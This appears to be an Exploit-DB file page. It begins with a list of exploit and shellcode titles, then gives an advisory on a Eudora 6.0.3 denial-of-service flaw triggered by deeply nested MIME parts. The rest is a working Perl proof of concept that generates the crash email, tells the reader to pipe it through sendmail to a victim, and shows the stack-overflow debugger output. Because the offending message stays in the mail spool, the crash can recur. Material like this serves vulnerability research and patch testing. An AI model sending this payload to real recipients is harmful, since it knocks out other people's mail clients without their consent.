880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
49 lines
No EOL
1.9 KiB
Perl
Executable file
49 lines
No EOL
1.9 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/10137/info
|
|
|
|
It has been reported that Eudora is prone to a denial of service vulnerability when handling e-mail containing excessive MIME nesting. The problem is known to occur when the application attempts to decode the deeply nested message.
|
|
|
|
Successful exploitation of this issue may allow an attacker to cause the application to crash due to corruption of stack memory. It is not known if this issue is further exploitable to execute arbitrary code.
|
|
|
|
It should be noted that this condition may be persistent since the offending message may remain in the client's mail spool.
|
|
|
|
Eudora 6.0.3 is reported to be vulnerable to this issue, however, other versions may be affected as well.
|
|
|
|
#!/usr/bin/perl --
|
|
|
|
print "From: me\n";
|
|
print "To: you\n";
|
|
print "Subject: nested multipart test\n";
|
|
print "Mime-Version: 1.0\n";
|
|
print "X-Use: Pipe the output of this script into: sendmail -i victim\n";
|
|
|
|
&nest(0);
|
|
print "\n";
|
|
|
|
sub nest {
|
|
my ($x) = @_;
|
|
my $b = sprintf("bndry%04d",$x);
|
|
print "Content-Type: multipart/mixed; boundary=\"$b\"\n\n";
|
|
print "--$b\n";
|
|
print "Content-Type: text/plain\n\n";
|
|
print "Level $x\n\n";
|
|
|
|
# No problem for 1995, but crash for 2005 deep nesting:
|
|
#
|
|
# (378.1c4): Stack overflow - code c00000fd (first chance)
|
|
# First chance exceptions are reported before any exception handling.
|
|
# This exception may be expected and handled.
|
|
# eax=00000409 ebx=00000001 ecx=00000000 edx=00000001 esi=000338a8 edi=62000000
|
|
# eip=77f862ed esp=00032f10 ebp=000337b0 iopl=0 nv up ei pl nz na pe nc
|
|
# cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010202
|
|
# ntdll!LdrLoadAlternateResourceModule+9:
|
|
# 77f862ed 53 push ebx
|
|
|
|
if ($x < 2005) {
|
|
print "--$b\n";
|
|
&nest($x+1);
|
|
}
|
|
print "--$b\n";
|
|
print "Content-Type: text/plain\n\n";
|
|
print "Final $x\n";
|
|
print "--$b--\n\n";
|
|
} |